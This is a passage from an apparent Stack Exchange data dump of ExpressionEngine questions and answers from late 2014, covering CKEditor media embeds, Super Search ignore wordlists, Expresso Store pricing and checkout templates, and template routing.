&quot;iframe[*]&quot;&#xA;                }));&#xA;            a.ui.addButton(&quot;MediaEmbed&quot;, {&#xA;                label: &quot;Embed Media&quot;,&#xA;                command: &quot;MediaEmbed&quot;,&#xA;                toolbar: &quot;mediaembed&quot;&#xA;            })&#xA;        }&#xA;    })&#xA;})();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Towards the bottom of the function you will see the onOK function where I have added:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;b.className = &quot;video-container&quot;;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However when I add the iFrame code the parent div has no class. I have tried swapping the &lt;code&gt;var b = a.document.createElement(&quot;div&quot;);&lt;/code&gt; to a span and this worked fine (still no class though) so I know it's the correct piece of code. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone has any ideas as to why this isn't working it would make my Friday that ever-bit more awesome.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="2420" LastEditorUserId="2420" LastEditDate="2014-12-19T12:11:34.537" LastActivityDate="2014-12-22T14:27:36.550" Title="Adding class to iFrame parent container in Expresso isn't working" Tags="|fieldtype|ckeditor|expresso-toolbar|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27199" PostTypeId="2" ParentId="27141" CreationDate="2014-12-19T13:10:18.203" Score="0" Body="&lt;p&gt;Just got this reply from DevDemon:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;There is no built in way in the current Exp-resso Store discount system to do this with cross products. They must be the same product.&#xA;Using the Extension capabilities of ExpressionEngine you could however write an extension that does this logic and make the deals.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone ever does make an extension for this would be great – my coding skills don't stretch to that!&lt;/p&gt;&#xA;" OwnerUserId="3000" LastActivityDate="2014-12-19T13:10:18.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27200" PostTypeId="2" ParentId="27179" CreationDate="2014-12-19T15:11:15.817" Score="2" Body="&lt;p&gt;shift-enter is easy enough. Hoop it helps&lt;/p&gt;&#xA;" OwnerUserId="482" LastActivityDate="2014-12-19T15:11:15.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27201" PostTypeId="1" CreationDate="2014-12-19T18:05:00.727" Score="0" ViewCount="50" Body="&lt;p&gt;Super Search Version 2.2.1, Expression Engine Version 2.8.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My expectation with the Super Search Ignore Wordlist is that if I put a word on the list, that the term will be ignored completely, as though it were dropped from the search string. In other words, if someone searched &quot;books on construction&quot;, and &quot;on&quot; was on the Ignore Wordlist, the search results would appear as though the search query was &quot;books construction&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this correct? If this is not correct, then what exactly does the Ignore Wordlist do? If what I described is how the Ignore Wordlist is supposed to function, then for whatever reason ours is not working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the {exp:super_search:results} portion of our search template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:super_search:results&#xA;        channel=&quot;products&quot;&#xA;        limit=&quot;12&quot;&#xA;        show_future_entries=&quot;yes&quot;&#xA;        use_ignore_word_list=&quot;yes&quot;&#xA;        search_in=&quot;title|product_display_title|product_author|product_sku|product_isbn|product_hidden_search&quot;&#xA;        search_words_within_words=&quot;yes&quot;&#xA;        allow_repeats=&quot;no&quot;&#xA;        paginate=&quot;bottom&quot;&#xA;        fuzzy_distance=&quot;2&quot;&#xA;        fuzzy_weighting=&quot;yes&quot;&#xA;    }&#xA;&#xA;        {if super_search_no_results}&#xA;            &amp;lt;div class=&quot;col-md-12&quot;&amp;gt;&#xA;                &amp;lt;p&amp;gt;No results matched your query.&amp;lt;/p&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        {/if}&#xA;&#xA;        {if super_search_total_results==1}&#xA;            {redirect=&quot;product/{url_title}&quot;}&#xA;        {/if}&#xA;&#xA;        {if count == 1 OR count == 4 OR count == 7 OR count == 10}&#xA;&#xA;        &amp;lt;div class=&quot;ad-col m-bottom&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;row &quot;&amp;gt;&#xA;&#xA;        {/if}&#xA;                &amp;lt;div class=&quot;col-md-4 ad-small&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;well bg-1 ad-col-height&quot;&amp;gt;&#xA;                        &amp;lt;h4&amp;gt;&amp;lt;a class=&quot;inherit-hyperlink&quot; href=&quot;{url_title_path=product}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h4&amp;gt;&#xA;                        &amp;lt;div class=&quot;row m-top&quot;&amp;gt;&#xA;                            &amp;lt;div class=&quot;col-md-4&quot;&amp;gt;&#xA;                                &amp;lt;a href=&quot;{url_title_path=product}&quot;&amp;gt;&amp;lt;img class=&quot;img-responsive&quot; src=&quot;{if product_thumbnail}{product_thumbnail}{if:else}/media/products/noi.jpg{/if}&quot; alt=&quot;{title}&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;div class=&quot;col-md-8&quot;&amp;gt;&#xA;                                {if product_tag!=&quot;&quot; AND product_tag != &quot;None&quot;}&#xA;                                    &amp;lt;p class=&quot;{product_tag}&quot;&amp;gt;{product_tag:label}&amp;lt;/p&amp;gt;&#xA;                                {/if}                           &#xA;                                {if product_author}&amp;lt;p&amp;gt;&amp;lt;small&amp;gt;By {product_author}&amp;lt;/small&amp;gt;&amp;lt;/p&amp;gt;{/if}&#xA;                                &amp;lt;p&amp;gt;Product Code: {product_sku}&#xA;                                &amp;lt;br /&amp;gt;Price: {exp:store:product entry_id=&quot;{entry_id}&quot; disable_form=&quot;yes&quot; disable_javascript=&quot;yes&quot;}{price}{/exp:store:product}&#xA;                                &amp;lt;br /&amp;gt;{if product_binding != &quot;Other&quot;}{product_binding}{/if}&amp;lt;/p&amp;gt;&#xA;                                &amp;lt;p&amp;gt;&amp;lt;a href=&quot;{url_title_path=product}&quot; class=&quot;btn btn-default&quot;&amp;gt;View Details&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&amp;lt;!-- /.row --&amp;gt;&#xA;                        &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;                            &amp;lt;div class=&quot;col-md-12 m-top&quot;&amp;gt;&#xA;                                {product_short_description}&#xA;                            &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&amp;lt;!-- /.well --&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&amp;lt;!-- /.ad-small --&amp;gt;&#xA;&#xA;        {if count == 3 OR count == 6 OR count == 9 OR count == 12 OR count == total_results}&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!-- /row --&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        {/if}&#xA;&#xA;        {paginate}&#xA;&#xA;        &amp;lt;div class=&quot;text-center&quot;&amp;gt;&#xA;        {pagination_links}&#xA;        &amp;lt;ul class=&quot;pagination&quot;&amp;gt;&#xA;        {first_page}&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-first&quot;&amp;gt;&amp;amp;laquo;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        {/first_page}&#xA;&#xA;        {previous_page}&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-previous&quot;&amp;gt;&amp;amp;lt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        {/previous_page}&#xA;&#xA;        {page}&#xA;        &amp;lt;li {if current_page}class=&quot;active&quot;{/if}&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-{pagination_page_number} &quot;&amp;gt;{pagination_page_number}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        {/page}&#xA;&#xA;        {next_page}&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-next&quot;&amp;gt;&amp;amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        {/next_page}&#xA;&#xA;        {last_page}&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-last&quot;&amp;gt;&amp;amp;raquo;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        {/last_page}&#xA;        &amp;lt;/ul&amp;gt;&#xA;        {/pagination_links}&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;        {/paginate}&#xA;&#xA;    {/exp:super_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3760" LastActivityDate="2016-06-10T07:55:26.183" Title="&quot;Ignore Wordlist&quot; Not Functioning" Tags="|solspace|supersearch|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27202" PostTypeId="2" ParentId="26925" CreationDate="2014-12-19T19:47:00.407" Score="0" Body="&lt;p&gt;Got this to work. Below code example&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:product entry_id=&quot;{entry_id}&quot; disable_form=&quot;yes&quot;}&#xA;&#xA;&amp;lt;?php  $prices = array(); ?&amp;gt;&#xA;{modifiers}&#xA;{modifier_options}&#xA;    &amp;lt;?php $prices[] = str_replace('$', '', str_replace(' ', '', str_replace(',', '','{price_inc_mod}'))) ;?&amp;gt;&#xA;{/modifier_options}&#xA;{/modifiers}&#xA;&amp;lt;?php &#xA;sort($prices);&#xA;?&amp;gt;&#xA;&amp;lt;span class=&quot;store_product_price&quot;&amp;gt;&amp;lt;?php echo $prices[0]; ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;{/exp:store:product}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2014-12-19T19:47:00.407" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27203" PostTypeId="2" ParentId="26925" CreationDate="2014-12-19T20:00:09.947" Score="0" Body="&lt;p&gt;If you wanted to do it without using PHP in your template you would be able to use the &lt;code&gt;{modifier_option}&lt;/code&gt; tag pair along with some &lt;a href=&quot;https://www.exp-resso.com/docs/product_tag.html#if_option_first&quot; rel=&quot;nofollow&quot;&gt;conditional&lt;/a&gt;s to get the price to display properly.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if status == &quot;retail&quot;}&#xA;    {exp:store:product entry_id=&quot;{entry_id}&quot; disable_form=&quot;yes&quot;}&#xA;        &amp;lt;span class=&quot;store_product_price&quot;&amp;gt;&#xA;          {modifiers}&#xA;            {if modifier_options} &#xA;                {modifier_options}&#xA;                    {!-- &#xA;                     --- use price_inc_mod if your items dont have tax&#xA;                     --- use price_inc_mod_inc_tax if you have tax inclusive pricing&#xA;                    --}&#xA;                    {if option_first}{price_inc_mod}{/if}{if option_last} - {price_inc_mod}{/if}&#xA;                {/modifier_options}&#xA;              {/modifiers}&#xA;            {else}&#xA;                {price}&#xA;            {/if}&#xA;            &amp;lt;/span&amp;gt;&#xA;        {if total_stock == 0}&amp;lt;br /&amp;gt;&amp;lt;span class=&quot;store_product_out_of_stock&quot;&amp;gt;Sold Out&amp;lt;/span&amp;gt;{/if}&#xA;    {/exp:store:product}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That should get it sorted out for you as long as the first and last modifiers have the the lowest and highest prices respectively.&lt;/p&gt;&#xA;" OwnerUserId="115" LastEditorUserId="115" LastEditDate="2014-12-22T19:09:19.963" LastActivityDate="2014-12-22T19:09:19.963" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27206" PostTypeId="1" AcceptedAnswerId="27207" CreationDate="2014-12-20T12:11:21.320" Score="0" ViewCount="212" Body="&lt;p&gt;Is there a way to return 'no results' from a custom plugin with the standard conditional of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if no_results}{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have resulted to using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($query-&amp;gt;num_rows() &amp;gt; 0) {&#xA;&#xA;} else {&#xA;    return $this-&amp;gt;return_data = &quot;&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;Sorry, no results&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="822" LastActivityDate="2014-12-20T13:31:09.927" Title="no_results in custom plugin?" Tags="|plugin|no-results|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27207" PostTypeId="2" ParentId="27206" CreationDate="2014-12-20T13:31:09.927" Score="3" Body="&lt;p&gt;Yes, of course!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return $this-&amp;gt;return_data = ee()-&amp;gt;TMPL-&amp;gt;no_results();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or this, on the versions before 2.6:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return $this-&amp;gt;return_data = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;no_results();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="343" LastActivityDate="2014-12-20T13:31:09.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27208" PostTypeId="2" ParentId="27192" CreationDate="2014-12-20T15:10:31.830" Score="1" Body="&lt;p&gt;I found the answer. I was loading my own JQuery in the head and the Channel form was loading a copy too. I hadn't seen include_jquery option in the Docs before, just one for include_assets (which I thought included jquerey). So once I set include_jquery=&quot;no&quot;, everything worked!&lt;/p&gt;&#xA;" OwnerUserId="2997" LastActivityDate="2014-12-20T15:10:31.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27209" PostTypeId="2" ParentId="26795" CreationDate="2014-12-20T19:02:22.140" Score="0" Body="&lt;p&gt;You could maybe create a custom style set per the P&amp;amp;T docs: &#xA;&lt;a href=&quot;https://docs.pixelandtonic.com/wygwam/using/style_set.html&quot; rel=&quot;nofollow&quot;&gt;https://docs.pixelandtonic.com/wygwam/using/style_set.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1379" LastActivityDate="2014-12-20T19:02:22.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27210" PostTypeId="2" ParentId="27073" CreationDate="2014-12-20T19:10:13.237" Score="0" Body="&lt;p&gt;While you can not embed multiple template folders deep. You have a couple of options. In your cleaning/services template you could do something along the lines of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_3 == &quot;reviews&quot;}&#xA;     {if segment_4 == &quot;&quot;}&#xA;        Show just this content when reviews is in segment 3 and segment 4 is empty&#xA;     {/if}&#xA;     {if segment_4 == &quot;best&quot;}&#xA;        This shows is segment 3 is reviews and segment 4 is best&#xA;     {/if}&#xA;     {if segment_4 == &quot;something&quot;}&#xA;        You can do this as many times as you need to replicate the functionality you need.&#xA;        {if segment_5 == &quot;more&quot;}&#xA;            You can do this upto 9 segments&#xA;        {/if} &#xA;     {/if}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Alternatively you could use &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/cp/design/templates/template_route_manager.html&quot; rel=&quot;nofollow&quot;&gt;template routes&lt;/a&gt; functionality if you are using newer version of EE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the control panel you would goto the Template Route Manager and as an example for &lt;code&gt;services/reviews&lt;/code&gt; template you would set the route to &lt;code&gt;services/cleaning/reviews/&lt;/code&gt;. Personally I would move the templates that you are routing into their own folder to avoid confusion down the road so it was me I would have &lt;code&gt;_routes/service_reviews&lt;/code&gt;being routed to &lt;code&gt;services/cleaning/reviews/&lt;/code&gt; and &lt;code&gt;_routes/service_best&lt;/code&gt; routed to &lt;code&gt;services/cleaning/reviews/best/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your other option would be to use an add-on to manage the multiple depth functionality. This could be the built in &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/pages/index.html&quot; rel=&quot;nofollow&quot;&gt;Pages module&lt;/a&gt; or something like &lt;a href=&quot;https://devot-ee.com/add-ons/structure&quot; rel=&quot;nofollow&quot;&gt;Structure&lt;/a&gt;. Each of these add-ons have advantages and disadvantages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of these options should get you the desired results one way or another. &lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2014-12-20T19:10:13.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27211" PostTypeId="2" ParentId="27183" CreationDate="2014-12-21T03:35:14.420" Score="0" Body="&lt;p&gt;I had the same issue.  This should work for you (it did for me).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if {mymatrix:total_rows} &amp;gt; 0 }&#xA;{mymatrix}&#xA;data here&#xA;{/mymatrix}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does the template work without the {if} statements?  You may also try wrapping the zero in a single quote ( '0' ).&lt;/p&gt;&#xA;" OwnerUserId="3136" LastEditorUserId="3136" LastEditDate="2014-12-22T14:33:36.680" LastActivityDate="2014-12-22T14:33:36.680" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27212" PostTypeId="1" CreationDate="2014-12-22T11:31:18.743" Score="0" ViewCount="132" Body="&lt;p&gt;is possibile to build an url like this without use third party module?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;www.mysite.com/template_group/2014/12/12/category_name/url_title&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="310" LastActivityDate="2014-12-23T21:56:13.560" Title="Custom url with date and category_name" Tags="|url|date|custom|template-routes|category-name|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27213" PostTypeId="1" AcceptedAnswerId="28920" CreationDate="2014-12-22T11:47:27.903" Score="0" ViewCount="173" Body="&lt;p&gt;I'm using Expresso Store 2.3.1 and EE 2.9.2.  I can't get the shipping same as billing address to work.  I tick the box, put in a different address, but on the next page, it just says Shipping same as billing, it won't show the second address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Billing Details Page:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:store:checkout&#xA;form_class=&quot;form--checkout&quot;&#xA;next=&quot;cart/confirm&quot;&#xA;error_handling=&quot;inline&quot;&#xA;error_delimiters='&amp;lt;span class=&quot;help-inline&quot;&amp;gt;|&amp;lt;/span&amp;gt;'&#xA;require=&quot;name|address1|city|country|order_email|billing_phone|shipping_phone&quot;}&#xA;&amp;lt;section class=&quot;section&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;order_details&quot;&amp;gt;&#xA;            {if no_items}&#xA;            {redirect=&quot;cart/index&quot;}&#xA;            {/if}&#xA;            &amp;lt;fieldset id=&quot;billing_details&quot; class=&quot;billing-details&quot;&amp;gt;&#xA;                &amp;lt;h3 class=&quot;section__title&quot;&amp;gt;Billing Details&amp;lt;/h3&amp;gt;&#xA;                &amp;lt;div class=&quot;control-group {if error:billing_name}error{/if}&quot;&amp;gt;&#xA;                    &amp;lt;label class=&quot;control-label&quot; for=&quot;billing_name&quot;&amp;gt;Name *{error:billing_name}&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                        {field:billing_name}&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;control-group {if error:billing_address1}error{/if}&quot;&amp;gt;&#xA;                    &amp;lt;label class=&quot;control-label&quot; for=&quot;billing_address1&quot;&amp;gt;Address *{error:billing_address1}&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                        {field:billing_address1}&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;control-group {if error:billing_address2}error{/if}&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                        {field:billing_address2} {error:billing_address2}&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;control-group {if error:billing_city}error{/if}&quot;&amp;gt;&#xA;                    &amp;lt;label class=&quot;control-label&quot; for=&quot;billing_city&quot;&amp;gt;City *{error:billing_city}&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                        {field:billing_city}&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;control-group {if error:billing_postcode}error{/if}&quot;&amp;gt;&#xA;                    &amp;lt;label class=&quot;control-label&quot; for=&quot;billing_postcode&quot;&amp;gt;Postcode&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                        {field:billing_postcode} {error:billing_postcode}&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;control-group {if error:billing_state}error{/if}&quot;&amp;gt;&#xA;                    &amp;lt;label class=&quot;control-label&quot; for=&quot;billing_state&quot;&amp;gt;County&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                        {field:billing_state} {error:billing_state}&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;control-group {if error:billing_country}error{/if}&quot;&amp;gt;&#xA;                    &amp;lt;label class=&quot;control-label&quot; for=&quot;billing_country&quot;&amp;gt;Country&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                        {field:billing_country} {error:billing_country}&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;control-group {if error:billing_phone}error{/if}&quot;&amp;gt;&#xA;                    &amp;lt;label class=&quot;control-label&quot; for=&quot;billing_phone&quot;&amp;gt;Phone *{error:billing_phone}&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                        {field:billing_phone}&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;control-group {if error:order_email}error{/if}&quot;&amp;gt;&#xA;                    &amp;lt;label class=&quot;control-label&quot; for=&quot;order_email&quot;&amp;gt;Email *{error:order_email}&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                        {field:order_email}&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/fieldset&amp;gt;&#xA;            &amp;lt;fieldset class=&quot;shipping-details&quot;&amp;gt;&#xA;                &amp;lt;h3 class=&quot;section__title&quot;&amp;gt;Shipping Details&amp;lt;/h3&amp;gt;&#xA;                &amp;lt;label for=&quot;shipping_same_as_billing&quot; class=&quot;checkbox&quot;&amp;gt;&#xA;                    {field:shipping_same_as_billing} Tick to use the same address as Billing Details&#xA;                &amp;lt;/label&amp;gt;&#xA;                &amp;lt;div id=&quot;shipping_details_drawer&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;control-group {if error:shipping_name}error{/if}&quot;&amp;gt;&#xA;                        &amp;lt;label class=&quot;control-label&quot; for=&quot;shipping_name&quot;&amp;gt;Name *{error:shipping_name}&amp;lt;/label&amp;gt;&#xA;                        &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                            {field:shipping_name}&#xA;                        &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div class=&quot;control-group {if error:shipping_address1}error{/if}&quot;&amp;gt;&#xA;                        &amp;lt;label class=&quot;control-label&quot; for=&quot;shipping_address1&quot;&amp;gt;Address *{error:shipping_address1}&amp;lt;/label&amp;gt;&#xA;                        &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                            {field:shipping_address1}&#xA;                        &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div class=&quot;control-group {if error:shipping_address2}error{/if}&quot;&amp;gt;&#xA;                        &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                            {field:shipping_address2} {error:shipping_address2}&#xA;                        &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div class=&quot;control-group {if error:shipping_city}error{/if}&quot;&amp;gt;&#xA;                        &amp;lt;label class=&quot;control-label&quot; for=&quot;shipping_city&quot;&amp;gt;City *{error:shipping_city}&amp;lt;/label&amp;gt;&#xA;                        &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                            {field:shipping_city}&#xA;                        &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div class=&quot;control-group {if error:shipping_postcode}error{/if}&quot;&amp;gt;&#xA;                        &amp;lt;label class=&quot;control-label&quot; for=&quot;shipping_postcode&quot;&amp;gt;Postcode&amp;lt;/label&amp;gt;&#xA;                        &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                            {field:shipping_postcode} {error:shipping_postcode}&#xA;                        &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div class=&quot;control-group {if error:shipping_state}error{/if}&quot;&amp;gt;&#xA;                        &amp;lt;label class=&quot;control-label&quot; for=&quot;shipping_state&quot;&amp;gt;County&amp;lt;/label&amp;gt;&#xA;                        &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                            {field:shipping_state} {error:shipping_state}&#xA;                        &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div class=&quot;control-group {if error:shipping_country}error{/if}&quot;&amp;gt;&#xA;                        &amp;lt;label class=&quot;control-label&quot; for=&quot;shipping_country&quot;&amp;gt;Country&amp;lt;/label&amp;gt;&#xA;                        &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                            {field:shipping_country} {error:shipping_country}&#xA;                        &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div class=&quot;control-group {if error:shipping_phone}error{/if}&quot;&amp;gt;&#xA;                        &amp;lt;label class=&quot;control-label&quot; for=&quot;shipping_phone&quot;&amp;gt;Phone *{error:shipping_phone}&amp;lt;/label&amp;gt;&#xA;                        &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                            {field:shipping_phone}&#xA;                        &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/fieldset&amp;gt;&#xA;            &amp;lt;div class=&quot;form-actions-container&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;form-actions&quot;&amp;gt;&#xA;                    &amp;lt;span class=&quot;order_button&quot;&amp;gt;&amp;lt;a href=&quot;{path='cart/index'}&quot; class=&quot;button--solid&quot;&amp;gt;Back&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;&#xA;                    &amp;lt;span class=&quot;order_button&quot;&amp;gt;&amp;lt;input type=&quot;submit&quot; name=&quot;next&quot; value=&quot;Review Order&quot; class=&quot;button--solid&quot; /&amp;gt;&amp;lt;/span&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            {/exp:store:checkout}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Payment Details Page:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:checkout&#xA;form_class=&quot;form--confirm&quot;&#xA;return=&quot;cart/order/ORDER_HASH&quot;&#xA;error_handling=&quot;inline&quot;&#xA;payment_method=&quot;stripe&quot;&#xA;error_delimiters='&amp;lt;span class=&quot;help-inline&quot;&amp;gt;|&amp;lt;/span&amp;gt;'}&#xA;&amp;lt;section class=&quot;section&quot;&amp;gt;&#xA;&amp;lt;div&amp;gt;&#xA;    &amp;lt;div class=&quot;section__inner&quot;&amp;gt;&#xA;        &amp;lt;h3 class=&quot;section__title&quot;&amp;gt;Order Summary&amp;lt;/h3&amp;gt;&#xA;        &amp;lt;table class=&quot;table--cart&quot;&amp;gt;&#xA;            &amp;lt;colgroup&amp;gt;&#xA;            &amp;lt;col span=&quot;1&quot; style=&quot;width: 41%;&quot;&amp;gt;&#xA;            &amp;lt;col span=&quot;1&quot; style=&quot;width: 25%;&quot;&amp;gt;&#xA;            &amp;lt;col 